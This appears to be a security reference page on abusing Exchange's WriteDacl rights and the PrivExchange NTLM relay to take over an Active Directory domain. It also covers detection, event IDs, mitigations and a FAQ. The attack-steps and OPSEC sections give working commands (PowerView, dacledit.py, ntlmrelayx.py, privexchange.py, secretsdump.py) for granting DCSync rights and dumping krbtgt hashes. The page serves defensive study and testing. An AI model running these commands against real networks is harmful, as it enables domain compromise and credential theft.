How it works
Exchange Server is deeply integrated with Active Directory, and its setup grants its own groups wide permissions in every domain it prepares. Two groups matter here:
- Exchange Trusted Subsystem. A highly privileged universal security group. Every action an administrator performs through the Exchange management tools runs in its context, not the administrator's. Its members are the computer accounts of the Exchange servers.
- Exchange Windows Permissions. A universal security group that holds permissions on many non-Exchange objects and attributes throughout the domain, so that Exchange can create and manage users and groups. In the shared permissions model (the default) and the RBAC split model, Exchange Trusted Subsystem is a member of it.
The dangerous permission is WriteDacl. As installed before February 2019, the domain root carried Allow entries that gave Exchange Windows Permissions WriteDacl for the User and inetOrgPerson inherited object types, without the Inherit Only flag. An entry without Inherit Only is effective on the object that holds it, so the group could rewrite the DACL of the domain object itself. Whoever can do that can grant any account the replication rights used by DCSync. The general mechanics are on the WriteDACL abuse page.
That makes every one of the following equivalent to Domain Admin in an unpatched forest:
- a member of Exchange Windows Permissions or Exchange Trusted Subsystem,
- anyone who can change the membership of either group. They are not protected groups, so generic rights over groups are enough,
- SYSTEM on any Exchange server, because the server's computer account is in Exchange Trusted Subsystem,
- anyone who can make an Exchange server authenticate to them and relay that authentication to LDAP.
The last case is PrivExchange. Exchange Web Services lets a mailbox user subscribe to push notifications and name the URL that Exchange should call. Exchange connected to that URL and authenticated with the server's computer account over HTTP. The attacker relayed the authentication to LDAP on a domain controller and used the account's WriteDacl right to grant themselves replication rights. Microsoft tracked the notification behaviour as CVE-2019-0686 and the resulting elevation at the domain controller as CVE-2019-0724.
The February 2019 cumulative updates (Exchange 2019 CU1, 2016 CU12, 2013 CU22) changed two things in the directory: the two WriteDacl entries gain the Inherit Only flag, and an entry that let Exchange Trusted Subsystem write the DACL of groups through AdminSDHolder is removed. The directory change is applied only when setup is run with /PrepareAD, and /PrepareDomain in every other domain. Exchange 2010 gets no update for this; the flag has to be set by hand.
After the fix the group still holds WriteDacl on user objects below the domain root. Accounts protected by AdminSDHolder do not inherit it, but every other user does. A member can grant themselves the right to reset the password of any ordinary user, including service accounts with their own privileges.
Prerequisites
- An Exchange organization in the shared or RBAC split permissions model. With Active Directory split permissions, Exchange Trusted Subsystem is not a member of Exchange Windows Permissions and the group's entries are removed from the domain object.
- One of: membership of either group; rights to add a member (for example over the
Microsoft Exchange Security GroupsOU); SYSTEM on an Exchange server. - For the domain object path: a domain whose root still carries the pre-2019 entries, because
/PrepareADor/PrepareDomainwas never run from a fixed cumulative update. - For PrivExchange specifically: any mailbox, an Exchange server without the February 2019 update, a host the Exchange server can reach over HTTP, and a domain controller that does not enforce LDAP signing.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find the path
List who is in the groups, including nested members:
Get-ADGroupMember 'Exchange Windows Permissions' -Recursive
Get-ADGroupMember 'Exchange Trusted Subsystem' -Recursive
Check whether the domain root still has the pre-fix entries. bf967aba-0de6-11d0-a285-00aa003049e2 is the User class and 4828cc14-1437-45bc-9b07-ad6f015e5f28 is inetOrgPerson:
(Get-Acl 'AD:DC=corp,DC=example,DC=com').Access |
Where-Object { $_.IdentityReference -like '*Exchange Windows Permissions' -and
$_.ActiveDirectoryRights -match 'WriteDacl' } |
Select-Object IdentityReference, ActiveDirectoryRights, InheritedObjectType, PropagationFlags
PropagationFlags of None means the entry applies to the domain object. InheritOnly means the fix has been applied. BloodHound draws the same information as a path from the group to the domain.
2. Get into the group's context
With rights over the group, add a controlled account and sign in again so the new membership is in the token:
Add-ADGroupMember -Identity 'Exchange Windows Permissions' -Members alice
With SYSTEM on an Exchange server, no change is needed: network operations made as SYSTEM use the server's computer account, which is already a member through Exchange Trusted Subsystem.
3. Grant replication rights on the domain
With PowerView:
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=example,DC=com" `
-PrincipalIdentity alice -Rights DCSync -Verbose
With Impacket from Linux:
dacledit.py -action write -rights DCSync \
-principal alice -target-dn "DC=corp,DC=example,DC=com" \
'corp.example.com/alice:<password>' -dc-ip 192.0.2.10
4. Replicate the secrets
secretsdump.py -just-dc-user krbtgt 'corp.example.com/alice:<password>@192.0.2.10'
The follow-on is on the DCSync page.
PrivExchange: the same result with only a mailbox
Start the relay against LDAP on a domain controller and tell it which account to elevate:
ntlmrelayx.py -t ldap://DC01.corp.example.com --escalate-user alice
Then ask Exchange to send a push notification to the relay host:
python privexchange.py -ah 192.0.2.50 SRV01.corp.example.com -u alice -d corp.example.com
-ah is the attacker's host, the positional argument is the Exchange server, and -ev selects the Exchange version dialect (default 2013). Exchange connects back, ntlmrelayx relays the server's authentication to LDAP, modifies the domain's DACL and reports that alice can now replicate. Step 4 completes the attack. The relay mechanics are on the NTLM relay to LDAP page.
After the fix: user objects
Where the entry is Inherit Only, the group can still rewrite the DACL of non-protected users:
Add-DomainObjectAcl -TargetIdentity svc-sql -PrincipalIdentity alice -Rights ResetPassword -Verbose
Impact
In a forest that still has the original entries, a compromised Exchange server or a single change to an Exchange group gives the attacker the password hashes of every account, including krbtgt. This is privilege escalation from an application tier to the top of the domain, and the reason Exchange servers belong in Tier 0 while the shared model is in use.
In a fixed forest the result is narrower but still serious: control over ordinary user accounts and whatever those accounts can reach. Members of the Exchange groups remain a shadow admin population that does not appear in any list of privileged groups.
OPSEC and artifacts
- Using the server's own account. Acting as SYSTEM on an Exchange server changes no group membership. The directory change is then recorded with the Exchange computer account as the subject, which looks like Exchange doing its work. Exchange does not normally modify the security descriptor of the domain root, so the target of the write gives it away.
- Adding and removing a member quickly. A membership change to a universal group writes event 4756 for the addition and 4757 for the removal on the domain controller, under Audit Security Group Management. No SACL is needed for those events.
- The DACL write. Granting replication rights changes
nTSecurityDescriptoron the domain object: event 5136 where Directory Service Changes auditing and a SACL on the domain root are in place. An operator who removes the entry afterwards produces a second 5136. - Relay traces. In PrivExchange the LDAP session on the domain controller is a network logon by the Exchange computer account from the attacker's address, not from the Exchange server. The Exchange server makes an outbound HTTP connection to a workstation address, and its IIS log records the request to
/EWS/Exchange.asmxunder the attacker's mailbox account. - Replication. The DCSync that follows writes event 4662 with the replication control access rights, requested by an account that is not a domain controller.
- Tool files.
dacledit.pysaves a backup of the DACL on the operator's host.
Detection
- Membership of the Exchange groups. The Exchange security group member rules flag additions to Exchange Windows Permissions, Exchange Trusted Subsystem and Organization Management. Outside an Exchange server installation these groups almost never change.
- DACL changes on the domain root and other Tier 0 objects. The privileged object DACL rules match the 5136 for
nTSecurityDescriptor. - Replication by a non-DC account. The DCSync rules.
- Exchange computer accounts authenticating from the wrong address. A logon by
SRV01$whose source address is not the server's own is a relay; see the NTLM relay rules.
// Membership and descriptor changes that involve the directory objects Exchange can reach
WindowsEvent
| where Provider == "Microsoft-Windows-Security-Auditing" and EventID == 5136
| extend Attribute = tostring(EventData.AttributeLDAPDisplayName)
| where Attribute in~ ("member", "nTSecurityDescriptor")
| project TimeGenerated, Computer, Attribute, ObjectDN = tostring(EventData.ObjectDN),
ChangeType = tostring(EventData.OperationType),
Actor = tostring(EventData.SubjectUserSid),
Correlation = tostring(EventData.OpCorrelationID)
A single modification can produce a value-deleted and a value-added record with the same correlation ID. The subject of a change made through the Exchange management tools is the Exchange server's account, not the administrator: the administrator's name is in the Exchange admin audit log, and the two records have to be matched on the object, not only on time.
Mitigation
- Apply the directory fix, not only the binaries. Install a current cumulative update and run setup with
/PrepareAD, then/PrepareDomainin every other domain of the forest. Verify the result with the check in step 1. For Exchange 2010, add the Inherit Only flag to the two entries withldp.exeas KB4490059 describes. - Consider Active Directory split permissions. Running setup with
/PrepareAD /ActiveDirectorySplitPermissions:trueremoves Exchange Trusted Subsystem from Exchange Windows Permissions and removes the group's entries from the domain object. Exchange can then no longer create security principals, so check the operational impact first. - Treat Exchange servers and Exchange groups as Tier 0 while the shared model is in use: restrict who can sign in to the servers, who administers them, and who can modify the
Microsoft Exchange Security GroupsOU. Do not change the membership of Exchange Trusted Subsystem by hand; Microsoft warns that this can break the organization. - Stop the relay. Enforce LDAP signing and channel binding on domain controllers; the LDAP signing and channel binding guide has the steps. Enable Extended Protection on the Exchange front-end virtual directories.
- Limit what Exchange servers can reach. Block outbound connections from Exchange servers to client networks on arbitrary ports, and if EWS push and pull subscriptions are not used, set
EWSMaxSubscriptionsto 0 in a throttling policy. - Map the paths. Review nested membership of both groups and every principal with rights over them. The attack path analysis guide shows how to find such chains, and the Active Directory hardening guide covers the tiering that contains them.
Detection rules for this attack
Log events to collect
FAQ
What is the Exchange Windows Permissions group?
It is a universal security group that Exchange setup creates so that Exchange can create and manage Active Directory objects. It holds permissions on many non-Exchange objects across the domain. In the default shared permissions model its member is Exchange Trusted Subsystem, which in turn contains the computer accounts of the Exchange servers.
What was PrivExchange?
PrivExchange is the name Dirk-jan Mollema gave to an attack published in January 2019. Any mailbox user could make an Exchange server authenticate to an attacker's host with its computer account by subscribing to EWS push notifications. Relayed to LDAP on a domain controller, that account's WriteDacl right on the domain object was used to grant the attacker DCSync rights.
Is the path closed after the February 2019 updates?
Partly. The updates stop the EWS notification from authenticating with the server's account and, once setup /PrepareAD has been run, restrict the WriteDacl entry so it no longer applies to the domain object. The group keeps WriteDacl on user objects below the domain root and its other permissions, so its members and the Exchange servers remain high-value targets.
How do I check whether my forest still has the old permission?
Read the access control list of the domain root and find the Allow entries that give Exchange Windows Permissions WriteDacl for the User and inetOrgPerson object types. If they do not carry the Inherit Only flag, the right applies to the domain object itself and the forest is in the pre-fix state, whatever cumulative update is installed.
References
- Split permissions in Exchange Server (Microsoft Learn)
- KB4490059: Reducing permissions required to run Exchange Server when you use the Shared Permissions Model (Microsoft Support)
- CVE-2019-0686: Microsoft Exchange Server elevation of privilege vulnerability (MSRC)
- CVE-2019-0724: Microsoft Exchange Server elevation of privilege vulnerability (MSRC)
- Abusing Exchange: One API call away from Domain Admin (Dirk-jan Mollema)
- Account Manipulation, T1098 (MITRE ATT&CK)
- 5136(S): A directory service object was modified (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.